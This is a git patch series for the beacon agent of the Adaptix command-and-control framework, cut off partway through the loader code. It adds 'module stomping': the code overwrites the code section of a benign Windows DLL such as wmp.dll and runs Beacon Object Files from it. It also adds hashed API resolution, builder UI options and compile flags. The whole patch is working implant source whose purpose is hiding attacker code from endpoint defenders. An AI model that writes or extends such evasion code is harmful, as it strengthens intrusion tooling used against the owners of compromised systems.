From 05ebc0ff3444f8ff41be588827c4d51ba40ceee0 Mon Sep 17 00:00:00 2001 From: MaorSabag Date: Fri, 20 Mar 2026 02:33:26 +0200 Subject: [PATCH 1/4] Enable async unwind tables and MS ABI Replace -fno-asynchronous-unwind-tables with -fasynchronous-unwind-tables and add -mabi=ms to OPTIMIZATION_FLAGS. --- AdaptixServer/extenders/beacon_agent/src_beacon/Makefile | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/Makefile b/AdaptixServer/extenders/beacon_agent/src_beacon/Makefile index e3bc7efed..3f374f7ae 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/Makefile +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/Makefile @@ -29,9 +29,9 @@ SECURITY_FLAGS := -fno-stack-protector \ -fno-strict-aliasing \ -fno-builtin -OPTIMIZATION_FLAGS := -fno-exceptions \ - -fno-unwind-tables \ - -fno-asynchronous-unwind-tables +OPTIMIZATION_FLAGS := -fno-exceptions \ + -fasynchronous-unwind-tables \ + -mabi=ms COMMON_FLAGS := -I $(BEACON_DIR) \ -fpermissive \ From d2778e6d6472d9ec633619bf7821d7418747d6cd Mon Sep 17 00:00:00 2001 From: MaorSabag Date: Fri, 20 Mar 2026 15:54:58 +0200 Subject: [PATCH 2/4] BOF execution via Dll Stomping --- .../extenders/beacon_agent/ax_config.axs | 31 +- .../extenders/beacon_agent/pl_main.go | 27 +- .../src_beacon/beacon/ApiDefines.h | 9 + .../src_beacon/beacon/ApiLoader.cpp | 13 + .../src_beacon/beacon/ApiLoader.h | 13 +- .../beacon_agent/src_beacon/beacon/Boffer.cpp | 35 +- .../beacon_agent/src_beacon/beacon/Boffer.h | 9 +- .../src_beacon/beacon/bof_loader.cpp | 535 ++++++++++++------ .../src_beacon/beacon/bof_loader.h | 31 +- .../src_beacon/beacon/bof_stomp.cpp | 352 ++++++++++++ .../src_beacon/beacon/bof_stomp.h | 27 + .../beacon_agent/src_beacon/beacon/config.cpp | 15 + .../beacon_agent/src_beacon/beacon/config.h | 8 +- 13 files changed, 884 insertions(+), 221 deletions(-) create mode 100644 AdaptixServer/extenders/beacon_agent/src_beacon/beacon/bof_stomp.cpp create mode 100644 AdaptixServer/extenders/beacon_agent/src_beacon/beacon/bof_stomp.h diff --git a/AdaptixServer/extenders/beacon_agent/ax_config.axs b/AdaptixServer/extenders/beacon_agent/ax_config.axs index cb1f3fc7e..0f7b3bd34 100644 --- a/AdaptixServer/extenders/beacon_agent/ax_config.axs +++ b/AdaptixServer/extenders/beacon_agent/ax_config.axs @@ -345,6 +345,27 @@ function GenerateUI(listeners_type) // checkIatHiding.setVisible(false); // } + let labelBofStompDll = form.create_label("Stomp DLL:"); + let textBofStompDll = form.create_textline("wmp.dll"); + textBofStompDll.setPlaceholder("e.g. wmp.dll, xpsservices.dll"); + + let labelBofStompMethod = form.create_label("Method:"); + let comboBofStompMethod = form.create_combo(); + comboBofStompMethod.addItems(["LoadLibraryEx", "NtCreateSection + NtMapViewOfSection"]); + comboBofStompMethod.setCurrentIndex(0); + + let layout_group_bof_stomp = form.create_gridlayout(); + layout_group_bof_stomp.addWidget(labelBofStompDll, 0, 0, 1, 1); + layout_group_bof_stomp.addWidget(textBofStompDll, 0, 1, 1, 1); + layout_group_bof_stomp.addWidget(labelBofStompMethod, 1, 0, 1, 1); + layout_group_bof_stomp.addWidget(comboBofStompMethod, 1, 1, 1, 1); + + let panel_group_bof_stomp = form.create_panel(); + panel_group_bof_stomp.setLayout(layout_group_bof_stomp); + let group_bof_stomp = form.create_groupbox("BOF Module Stomping (uncheck to use VirtualAlloc fallback)", true); + group_bof_stomp.setPanel(panel_group_bof_stomp); + group_bof_stomp.setChecked(true); + //////////////////// DNS Settings let labelDnsMode = form.create_label("DNS Mode:"); @@ -484,9 +505,10 @@ function GenerateUI(listeners_type) layout.addWidget(labelRotation, 8, 0, 1, 1); layout.addWidget(comboRotation, 8, 1, 1, 2); layout.addWidget(checkIatHiding, 9, 0, 1, 3); - layout.addWidget(group_proxy, 10, 0, 1, 3); - layout.addWidget(group_dns, 12, 0, 1, 3); - layout.addWidget(spacer2, 12, 0, 1, 3); + layout.addWidget(group_bof_stomp, 10, 0, 1, 3); + layout.addWidget(group_proxy, 11, 0, 1, 3); + layout.addWidget(group_dns, 13, 0, 1, 3); + layout.addWidget(spacer2, 13, 0, 1, 3); form.connect(comboAgentFormat, "currentTextChanged", function(text) { if(text == "Service Exe") { @@ -524,6 +546,9 @@ function GenerateUI(listeners_type) container.put("is_sideloading", checkSideloading) container.put("sideloading_content", sideloadingSelector) container.put("iat_hiding", checkIatHiding) + container.put("use_bof_stomp", group_bof_stomp) + container.put("bof_stomp_dll", textBofStompDll) + container.put("bof_stomp_method", comboBofStompMethod) container.put("use_proxy", group_proxy) container.put("proxy_type", comboProxyType) container.put("proxy_host", textProxyServer) diff --git a/AdaptixServer/extenders/beacon_agent/pl_main.go b/AdaptixServer/extenders/beacon_agent/pl_main.go index c02e5cb55..85766953b 100644 --- a/AdaptixServer/extenders/beacon_agent/pl_main.go +++ b/AdaptixServer/extenders/beacon_agent/pl_main.go @@ -277,6 +277,9 @@ type GenerateConfig struct { StartTime string `json:"start_time"` EndTime string `json:"end_time"` IatHiding bool `json:"iat_hiding"` + UseBofStomp bool `json:"use_bof_stomp"` + BofStompDll string `json:"bof_stomp_dll"` + BofStompMethod string `json:"bof_stomp_method"` IsSideloading bool `json:"is_sideloading"` SideloadingContent string `json:"sideloading_content"` DnsResolvers string `json:"dns_resolvers"` @@ -297,7 +300,7 @@ var ( ObjectDir_smb = "objects_smb" ObjectDir_tcp = "objects_tcp" ObjectDir_dns = "objects_dns" - ObjectFiles = [...]string{"Agent", "AgentConfig", "AgentInfo", "ApiLoader", "beacon_functions", "bof_loader", "Boffer", "Commander", "crt", "Crypt", "Downloader", "Encoders", "JobsController", "MainAgent", "MemorySaver", "Packer", "Pivotter", "ProcLoader", "Proxyfire", "std", "utils", "WaitMask"} + ObjectFiles = [...]string{"Agent", "AgentConfig", "AgentInfo", "ApiLoader", "beacon_functions", "bof_loader", "bof_stomp", "Boffer", "Commander", "crt", "Crypt", "Downloader", "Encoders", "JobsController", "MainAgent", "MemorySaver", "Packer", "Pivotter", "ProcLoader", "Proxyfire", "std", "utils", "WaitMask"} CFlags = "-c -fno-builtin -fno-unwind-tables -fno-strict-aliasing -fno-ident -fno-stack-protector -fno-exceptions -fno-asynchronous-unwind-tables -fno-strict-overflow -fno-delete-null-pointer-checks -fpermissive -w -masm=intel -fPIC" LFlags = "-Os -s -Wl,-s,--gc-sections -static-libgcc -static-libstdc++ -mwindows" ) @@ -571,6 +574,16 @@ func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [ lFlags += " -nostdlib -nostartfiles -nodefaultlibs" } + // BOF Module Stomping: only enabled when the user checks the groupbox + bofStompDll := "" + if generateConfig.UseBofStomp { + cFlags += " -DUSE_BOF_STOMP" + bofStompDll = generateConfig.BofStompDll + if bofStompDll == "" { + bofStompDll = "wmp.dll" + } + } + currentDir := ModuleDir tempDir, err := os.MkdirTemp("", "ax-*") if err != nil { @@ -613,10 +626,18 @@ func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [ } agentProfileSize := len(agentProfile) / 4 + bofStompDefine := "" + if generateConfig.UseBofStomp { + bofStompMethod := 0 + if generateConfig.BofStompMethod == "NtCreateSection + NtMapViewOfSection" { + bofStompMethod = 1 + } + bofStompDefine = fmt.Sprintf(" -DBOF_STOMP_DLL_NAME='\"%s\"' -DBOF_STOMP_METHOD=%d", bofStompDll, bofStompMethod) + } if generateConfig.Format == "Service Exe" { - cmdConfig = fmt.Sprintf("%s %s %s/config.cpp -DBUILD_SVC -DSERVICE_NAME='\"%s\"' -DPROFILE='\"%s\"' -DPROFILE_SIZE=%d -o %s/config.o", Compiler, cFlags, ObjectDir, svcName, string(agentProfile), agentProfileSize, tempDir) + cmdConfig = fmt.Sprintf("%s %s %s/config.cpp -DBUILD_SVC -DSERVICE_NAME='\"%s\"' -DPROFILE='\"%s\"' -DPROFILE_SIZE=%d%s -o %s/config.o", Compiler, cFlags, ObjectDir, svcName, string(agentProfile), agentProfileSize, bofStompDefine, tempDir) } else { - cmdConfig = fmt.Sprintf("%s %s %s/config.cpp -DPROFILE='\"%s\"' -DPROFILE_SIZE=%d -o %s/config.o", Compiler, cFlags, ObjectDir, string(agentProfile), agentProfileSize, tempDir) + cmdConfig = fmt.Sprintf("%s %s %s/config.cpp -DPROFILE='\"%s\"' -DPROFILE_SIZE=%d%s -o %s/config.o", Compiler, cFlags, ObjectDir, string(agentProfile), agentProfileSize, bofStompDefine, tempDir) } _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Compiling configuration...") diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ApiDefines.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ApiDefines.h index 56d63be9c..295620d27 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ApiDefines.h +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ApiDefines.h @@ -25,6 +25,10 @@ #define HASH_FUNC_RTLRANDOMEX 0x5b052214 #define HASH_FUNC_RTLNTSTATUSTODOSERROR 0x7701adaf #define HASH_FUNC_NTFLUSHINSTRUCTIONCACHE 0x91a1659e +#define HASH_FUNC_NTCREATESECTION 0x217c086f +#define HASH_FUNC_NTMAPVIEWOFSECTION 0x25b394e9 +#define HASH_FUNC_NTUNMAPVIEWOFSECTION 0xc995d3ec +#define HASH_FUNC_NTOPENFILE 0x83d5c058 //kernel32 #define HASH_FUNC_CONNECTNAMEDPIPE 0xda6c7d81 @@ -98,8 +102,13 @@ #define HASH_FUNC_WAITNAMEDPIPEA 0x8a2ba58d #define HASH_FUNC_WIDECHARTOMULTIBYTE 0x12d4f52d #define HASH_FUNC_WRITEFILE 0xd4a33cef +#define HASH_FUNC_WAITFORSINGLEOBJECTEX 0x8e5800b6 #define HASH_FUNC_GETOVERLAPPEDRESULT 0xcb755695 #define HASH_FUNC_CANCELIO 0xdc3c6d02 +#define HASH_FUNC_RTLADDFUNCTIONTABLE 0xbad6a4ed +#define HASH_FUNC_RTLDELETEFUNCTIONTABLE 0x6ff11737 +#define HASH_FUNC_VIRTUALPROTECT 0x21d6b92c +#define HASH_FUNC_LOADLIBRARYEXA 0xcf121857 // iphlpapi #define HASH_FUNC_GETADAPTERSINFO 0xa1376764 diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ApiLoader.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ApiLoader.cpp index 5878b25e1..19024a95e 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ApiLoader.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ApiLoader.cpp @@ -143,6 +143,9 @@ BOOL ApiLoad() ApiWin->WideCharToMultiByte = (decltype(WideCharToMultiByte)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_WIDECHARTOMULTIBYTE); ApiWin->WriteFile = (decltype(WriteFile)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_WRITEFILE); + ApiWin->VirtualProtect = (decltype(VirtualProtect)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_VIRTUALPROTECT); + ApiWin->LoadLibraryExA = (decltype(LoadLibraryExA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_LOADLIBRARYEXA); + // iphlpapi CHAR iphlpapi_c[13]; iphlpapi_c[0] = HdChrA('I'); @@ -282,6 +285,16 @@ BOOL ApiLoad() ApiNt->RtlIpv4StringToAddressA = (decltype(RtlIpv4StringToAddressA)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_RTLIPV4STRINGTOADDRESSA); ApiNt->RtlRandomEx = (decltype(RtlRandomEx)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_RTLRANDOMEX); ApiNt->RtlNtStatusToDosError = (decltype(RtlNtStatusToDosError)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_RTLNTSTATUSTODOSERROR); +#ifdef _WIN64 + ApiNt->RtlAddFunctionTable = (decltype(RtlAddFunctionTable)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_RTLADDFUNCTIONTABLE); + ApiNt->RtlDeleteFunctionTable = (decltype(RtlDeleteFunctionTable)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_RTLDELETEFUNCTIONTABLE); +#endif +#if defined(BOF_STOMP_METHOD) && BOF_STOMP_METHOD == 1 + ApiNt->NtCreateSection = (decltype(NtCreateSection)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_NTCREATESECTION); + ApiNt->NtMapViewOfSection = (decltype(NtMapViewOfSection)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_NTMAPVIEWOFSECTION); + ApiNt->NtUnmapViewOfSection = (decltype(NtUnmapViewOfSection)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_NTUNMAPVIEWOFSECTION); + ApiNt->NtOpenFile = (decltype(NtOpenFile)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_NTOPENFILE); +#endif /* BOF_STOMP_METHOD == 1 */ } else { return FALSE; diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ApiLoader.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ApiLoader.h index 96c6c7d51..140ec0bad 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ApiLoader.h +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ApiLoader.h @@ -11,7 +11,6 @@ typedef int (*printf_t)(const char* format, ...); typedef int (*vsnprintf_t)(char* str, size_t size, const char* format, va_list args); typedef int (*snprintf_t)(char*, size_t, const char*, ...); - extern void* __cdecl memset(void*, int, size_t); extern void* __cdecl memcpy(void*, const void*, size_t); @@ -101,6 +100,9 @@ struct WINAPIFUNC DECL_API(GetOverlappedResult); DECL_API(CancelIo); + DECL_API(VirtualProtect); + DECL_API(LoadLibraryExA); + // iphlpapi DECL_API(GetAdaptersInfo); @@ -163,6 +165,15 @@ struct NTAPIFUNC DECL_API(RtlIpv4StringToAddressA); DECL_API(RtlRandomEx); DECL_API(RtlNtStatusToDosError); + DECL_API(NtCreateSection); + DECL_API(NtMapViewOfSection); + DECL_API(NtUnmapViewOfSection); + DECL_API(NtOpenFile); + +#ifdef _WIN64 + DECL_API(RtlAddFunctionTable); + DECL_API(RtlDeleteFunctionTable); +#endif }; extern SYSMODULES* SysModules; diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Boffer.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Boffer.cpp index 3cfd0c885..b78185f27 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Boffer.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Boffer.cpp @@ -39,6 +39,11 @@ BOOL Boffer::Initialize() return FALSE; ApiWin->InitializeCriticalSection(&this->managerLock); + + if (isBofStompEnabled()) { + if (!InitBofStomp(getBofStompDll(), getBofStompMethod())) { + } + } return TRUE; } @@ -124,17 +129,17 @@ DWORD WINAPI AsyncBofThreadProc(LPVOID lpParameter) ctx->mapFunctions = (LPVOID*)ApiWin->VirtualAlloc(NULL, MAP_FUNCTIONS_SIZE, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); if (!ctx->mapFunctions) { - CleanupSections(ctx->mapSections, MAX_SECTIONS); + CleanupSections(ctx->mapSections, MAX_SECTIONS, NULL); ctx->state = ASYNC_BOF_STATE_FINISHED; tls_CurrentBofContext = NULL; return 1; } - - result = ProcessRelocations(ctx->coffFile, pHeader, ctx->mapSections, pSymbolTable, ctx->mapFunctions); + + result = ProcessRelocations(ctx->coffFile, pHeader, ctx->mapSections, + pSymbolTable, (LPVOID*)ctx->mapFunctions); if (!result) { - ApiWin->VirtualFree(ctx->mapFunctions, 0, MEM_RELEASE); + CleanupSections(ctx->mapSections, MAX_SECTIONS, ctx->mapFunctions); ctx->mapFunctions = NULL; - CleanupSections(ctx->mapSections, MAX_SECTIONS); ctx->state = ASYNC_BOF_STATE_FINISHED; tls_CurrentBofContext = NULL; return 1; @@ -151,14 +156,11 @@ DWORD WINAPI AsyncBofThreadProc(LPVOID lpParameter) ExecuteProc(entryFuncName, ctx->args, ctx->argsSize, pSymbolTable, pHeader, ctx->mapSections); FreeFunctionName(entryFuncName); } - - if (ctx->mapFunctions) { - ApiWin->VirtualFree(ctx->mapFunctions, 0, MEM_RELEASE); - ctx->mapFunctions = NULL; - } - CleanupSections(ctx->mapSections, MAX_SECTIONS); - ApiWin->EnterCriticalSection(&ctx->outputLock); + CleanupSections(ctx->mapSections, MAX_SECTIONS, ctx->mapFunctions); + ctx->mapFunctions = NULL; + + ApiWin->EnterCriticalSection(&ctx->outputLock); ctx->outputBuffer->Pack32(ctx->taskId); ctx->outputBuffer->Pack32(50); // COMMAND_EXEC_BOF ctx->outputBuffer->Pack8(FALSE); @@ -309,12 +311,9 @@ void Boffer::CleanupBofContext(AsyncBofContext* ctx) ApiNt->NtClose(ctx->hStopEvent); ctx->hStopEvent = NULL; } - - if (ctx->mapFunctions) { - ApiWin->VirtualFree(ctx->mapFunctions, 0, MEM_RELEASE); - ctx->mapFunctions = NULL; - } - CleanupSections(ctx->mapSections, MAX_SECTIONS); + + CleanupSections(ctx->mapSections, MAX_SECTIONS, ctx->mapFunctions); + ctx->mapFunctions = NULL; if (ctx->coffFile) MemFreeLocal((LPVOID*)&ctx->coffFile, ctx->coffFileSize); diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Boffer.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Boffer.h index cf69d0e08..66d8680a9 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Boffer.h +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Boffer.h @@ -3,6 +3,8 @@ #include "std.cpp" #include "Packer.h" #include "ApiLoader.h" +#include "bof_loader.h" +#include "config.h" #define ASYNC_BOF_STATE_PENDING 0x0 #define ASYNC_BOF_STATE_RUNNING 0x1 @@ -28,13 +30,11 @@ struct AsyncBofContext { Packer* outputBuffer; PCHAR mapSections[25]; - LPVOID* mapFunctions; + LPVOID mapFunctions; }; extern __declspec(thread) AsyncBofContext* tls_CurrentBofContext; - - class Boffer { public: @@ -51,11 +51,9 @@ class Boffer AsyncBofContext* CreateAsyncBof(ULONG taskId, CHAR* entryName, BYTE* coffFile, ULONG coffFileSize, BYTE* args, ULONG argsSize); BOOL StartAsyncBof(AsyncBofContext* ctx); - BOOL StopAsyncBof(ULONG taskId); void ProcessAsyncBofs(Packer* outPacker); - void CleanupFinishedBofs(); AsyncBofContext* FindBofByThreadId(DWORD threadId); @@ -72,4 +70,3 @@ class Boffer }; extern Boffer* g_AsyncBofManager; - diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/bof_loader.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/bof_loader.cpp index 44703635e..a71f22310 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/bof_loader.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/bof_loader.cpp @@ -153,211 +153,386 @@ void FreeFunctionName(char* targetFuncName) #endif } -bool AllocateSections(unsigned char* coffFile, COF_HEADER* pHeader, PCHAR* mapSections) +bool AllocateSections(unsigned char* coffFile, COF_HEADER* pHeader, PCHAR* mapSections, LPVOID* outMapFunctions) { - for (int i = 0; i < pHeader->NumberOfSections; i++) { - COF_SECTION* pSection = (COF_SECTION*)(coffFile + sizeof(COF_HEADER) + (sizeof(COF_SECTION) * i)); - mapSections[i] = (char*)ApiWin->VirtualAlloc(NULL, pSection->SizeOfRawData, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); - if (!mapSections[i] && pSection->SizeOfRawData) - return FALSE; - - if (pSection->PointerToRawData) - memcpy(mapSections[i], coffFile + pSection->PointerToRawData, pSection->SizeOfRawData); - else - memset(mapSections[i], 0, pSection->SizeOfRawData); - } - return TRUE; + *outMapFunctions = NULL; + + if (g_BofStomp.initialised) { + + DWORD totalSize = 0; + for (int i = 0; i < pHeader->NumberOfSections; i++) { + COF_SECTION* s = (COF_SECTION*)(coffFile + sizeof(COF_HEADER) + sizeof(COF_SECTION) * i); + DWORD slotSize = ALIGN_UP((DWORD)s->SizeOfRawData + UNWIND_SLOT_SIZE, 16); + totalSize += slotSize; + } + totalSize += MAP_FUNCTIONS_SIZE; + + ApiWin->EnterCriticalSection(&g_BofStomp.lock); + + if (g_BofStomp.inUse || totalSize > (DWORD)g_BofStomp.textSize) { + + ApiWin->LeaveCriticalSection(&g_BofStomp.lock); + goto fallback; + } + + DWORD oldProt = 0; + if (!ApiWin->VirtualProtect(g_BofStomp.textBase, totalSize, PAGE_EXECUTE_READWRITE, &oldProt)) { + ApiWin->LeaveCriticalSection(&g_BofStomp.lock); + goto fallback; + } + + char* cursor = (char*)g_BofStomp.textBase; + for (int i = 0; i < pHeader->NumberOfSections; i++) { + COF_SECTION* s = (COF_SECTION*)(coffFile + sizeof(COF_HEADER) + sizeof(COF_SECTION) * i); + DWORD slotSize = ALIGN_UP((DWORD)s->SizeOfRawData + UNWIND_SLOT_SIZE, 16); + + mapSections[i] = cursor; + + memset(cursor, 0, slotSize); + + if (s->PointerToRawData && s->SizeOfRawData) + memcpy(cursor, coffFile + s->PointerToRawData, s->SizeOfRawData); + + if (s->SizeOfRawData) + ((unsigned char*)cursor)[s->SizeOfRawData] = 0x01; + + cursor += slotSize; + } + + memset(cursor, 0, MAP_FUNCTIONS_SIZE); + *outMapFunctions = cursor; + + g_BofStomp.cursorBase = g_BofStomp.textBase; + g_BofStomp.cursorSize = totalSize; + g_BofStomp.inUse = TRUE; + + return true; + } + +fallback: + + for (int i = 0; i < pHeader->NumberOfSections; i++) { + COF_SECTION* s = (COF_SECTION*)(coffFile + sizeof(COF_HEADER) + sizeof(COF_SECTION) * i); + DWORD allocSize = (DWORD)s->SizeOfRawData + UNWIND_SLOT_SIZE; + + mapSections[i] = (char*)ApiWin->VirtualAlloc(NULL, allocSize, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); + if (!mapSections[i] && s->SizeOfRawData) + return false; + + memset(mapSections[i], 0, allocSize); + + if (s->PointerToRawData && s->SizeOfRawData) + memcpy(mapSections[i], coffFile + s->PointerToRawData, s->SizeOfRawData); + } + + *outMapFunctions = ApiWin->VirtualAlloc(NULL, MAP_FUNCTIONS_SIZE, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); + if (!*outMapFunctions) { + for (int i = 0; i < pHeader->NumberOfSections; i++) { + if (mapSections[i]) { + ApiWin->VirtualFree(mapSections[i], 0, MEM_RELEASE); + mapSections[i] = NULL; + } + } + return false; + } + + return true; } -void CleanupSections(PCHAR* mapSections, int maxSections) +void CleanupSections(PCHAR* mapSections, int maxSections, LPVOID mapFunctions) { - for (int i = 0; i < maxSections; i++) { - if (mapSections[i]) { - ApiWin->VirtualFree(mapSections[i], 0, MEM_RELEASE); - mapSections[i] = NULL; - } - } + + BOOL stomped = FALSE; + if (g_BofStomp.initialised && g_BofStomp.inUse) { + + for (int i = 0; i < maxSections; i++) { + if (mapSections[i]) { + ULONG_PTR sectionVA = (ULONG_PTR)mapSections[i]; + ULONG_PTR stompStart = (ULONG_PTR)g_BofStomp.textBase; + ULONG_PTR stompEnd = stompStart + g_BofStomp.textSize; + if (sectionVA >= stompStart && sectionVA < stompEnd) { + stomped = TRUE; + } + break; + } + } + } + + if (stomped) { + DWORD oldProt = 0; + ApiWin->VirtualProtect(g_BofStomp.cursorBase, g_BofStomp.cursorSize, PAGE_EXECUTE_READWRITE, &oldProt); + + memset(g_BofStomp.cursorBase, 0, g_BofStomp.cursorSize); + + memcpy(g_BofStomp.cursorBase, g_BofStomp.savedBytes, g_BofStomp.cursorSize); + + ApiWin->VirtualProtect(g_BofStomp.cursorBase, g_BofStomp.cursorSize, PAGE_EXECUTE_READ, &oldProt); + + for (int i = 0; i < maxSections; i++) + mapSections[i] = NULL; + + g_BofStomp.cursorBase = NULL; + g_BofStomp.cursorSize = 0; + g_BofStomp.inUse = FALSE; + ApiWin->LeaveCriticalSection(&g_BofStomp.lock); + + } else { + + for (int i = 0; i < maxSections; i++) { + if (mapSections[i]) { + ApiWin->VirtualFree(mapSections[i], 0, MEM_RELEASE); + mapSections[i] = NULL; + } + } + if (mapFunctions) { + ApiWin->VirtualFree(mapFunctions, 0, MEM_RELEASE); + } + } } -bool ProcessRelocations(unsigned char* coffFile, COF_HEADER* pHeader, PCHAR* mapSections, COF_SYMBOL* pSymbolTable, LPVOID* mapFunctions) +bool ProcessRelocations(unsigned char* coffFile, COF_HEADER* pHeader, PCHAR* mapSections, + COF_SYMBOL* pSymbolTable, LPVOID* mapFunctions) { - bool status = TRUE; - int mapFunctionsSize = 0; - char* procSymbol = NULL; - char procSymbolShort[9] = { 0 }; - - for (int sectionIndex = 0; sectionIndex < pHeader->NumberOfSections; sectionIndex++) { - COF_SECTION* pSection = (COF_SECTION*)(coffFile + sizeof(COF_HEADER) + (sizeof(COF_SECTION) * sectionIndex)); - COF_RELOCATION* pRelocTable = (COF_RELOCATION*)(coffFile + pSection->PointerToRelocations); - - for (int relocIndex = 0; relocIndex < pSection->NumberOfRelocations; relocIndex++) { - COF_SYMBOL pSymbol = pSymbolTable[pRelocTable->SymbolTableIndex]; - if (pRelocTable->SymbolTableIndex >= pHeader->NumberOfSymbols) { - BeaconOutput(BOF_ERROR_PARSE, NULL, 0); - return FALSE; - } - - int offset = 0; - void* procAddress = NULL; + bool status = TRUE; + int mapFunctionsSize = 0; + char* procSymbol = NULL; + char procSymbolShort[9] = { 0 }; + + for (int sectionIndex = 0; sectionIndex < pHeader->NumberOfSections; sectionIndex++) { + COF_SECTION* pSection = (COF_SECTION*)(coffFile + sizeof(COF_HEADER) + sizeof(COF_SECTION) * sectionIndex); + COF_RELOCATION* pRelocTable = (COF_RELOCATION*)(coffFile + pSection->PointerToRelocations); + + for (int relocIndex = 0; relocIndex < pSection->NumberOfRelocations; relocIndex++) { + COF_SYMBOL pSymbol = pSymbolTable[pRelocTable->SymbolTableIndex]; + if (pRelocTable->SymbolTableIndex >= pHeader->NumberOfSymbols) { + BeaconOutput(BOF_ERROR_PARSE, NULL, 0); + return FALSE; + } + + int offset = 0; + void* procAddress = NULL; #ifdef _WIN64 - unsigned long long bigOffset = 0; + unsigned long long bigOffset = 0; #endif - if (pSymbol.Name.dwName[0] == 0) { - procSymbol = ((char*)(pSymbolTable + pHeader->NumberOfSymbols)) + pSymbol.Name.dwName[1]; - } - else { - if (pSymbol.Name.cName[7] != 0) { - my_strncpy_s(procSymbolShort, sizeof(procSymbolShort), pSymbol.Name.cName, sizeof(pSymbol.Name.cName)); - procSymbol = procSymbolShort; - } - else { - procSymbol = pSymbol.Name.cName; - } - } - - if (pSymbol.SectionNumber > 0) { - procAddress = mapSections[pSymbol.SectionNumber - 1]; - procAddress = (void*)((char*)procAddress + pSymbol.Value); - } - else if(pSymbol.Value == 0 && (pSymbol.StorageClass == IMAGE_SYM_CLASS_EXTERNAL || pSymbol.StorageClass == IMAGE_SYM_CLASS_EXTERNAL_DEF)) { - procAddress = FindProcBySymbol(procSymbol); - if (procAddress == NULL && pSymbolTable[pRelocTable->SymbolTableIndex].SectionNumber == 0) { - BeaconOutput(BOF_ERROR_SYMBOL, procSymbol, StrLenA(procSymbol)); - status = FALSE; - } - else { - mapFunctions[mapFunctionsSize] = procAddress; - procAddress = &mapFunctions[mapFunctionsSize]; - mapFunctionsSize++; - } - } - else { - BeaconOutput(BOF_ERROR_SYMBOL, "Undefined symbol", 17); - status = FALSE; - } - - if (status != FALSE) { + if (pSymbol.Name.dwName[0] == 0) { + procSymbol = ((char*)(pSymbolTable + pHeader->NumberOfSymbols)) + pSymbol.Name.dwName[1]; + } else { + if (pSymbol.Name.cName[7] != 0) { + my_strncpy_s(procSymbolShort, sizeof(procSymbolShort), pSymbol.Name.cName, sizeof(pSymbol.Name.cName)); + procSymbol = procSymbolShort; + } else { + procSymbol = pSymbol.Name.cName; + } + } + + if (pSymbol.SectionNumber > 0) { + procAddress = mapSections[pSymbol.SectionNumber - 1]; + procAddress = (void*)((char*)procAddress + pSymbol.Value); + } else if (pSymbol.Value == 0 && + (pSymbol.StorageClass == IMAGE_SYM_CLASS_EXTERNAL || + pSymbol.StorageClass == IMAGE_SYM_CLASS_EXTERNAL_DEF)) { + procAddress = FindProcBySymbol(procSymbol); + if (procAddress == NULL && + pSymbolTable[pRelocTable->SymbolTableIndex].SectionNumber == 0) { + BeaconOutput(BOF_ERROR_SYMBOL, procSymbol, StrLenA(procSymbol)); + status = FALSE; + } else { + ((LPVOID*)mapFunctions)[mapFunctionsSize] = procAddress; + procAddress = &((LPVOID*)mapFunctions)[mapFunctionsSize]; + mapFunctionsSize++; + } + } else { + BeaconOutput(BOF_ERROR_SYMBOL, "Undefined symbol", 17); + status = FALSE; + } + + if (status != FALSE) { #ifdef _WIN64 - if (pRelocTable->Type == IMAGE_REL_AMD64_ADDR64) // Type == 1 - 64-bit VA of the relocation target - { - memcpy(&bigOffset, mapSections[sectionIndex] + pRelocTable->VirtualAddress, sizeof(unsigned long long)); - bigOffset += (unsigned long long) procAddress; - memcpy(mapSections[sectionIndex] 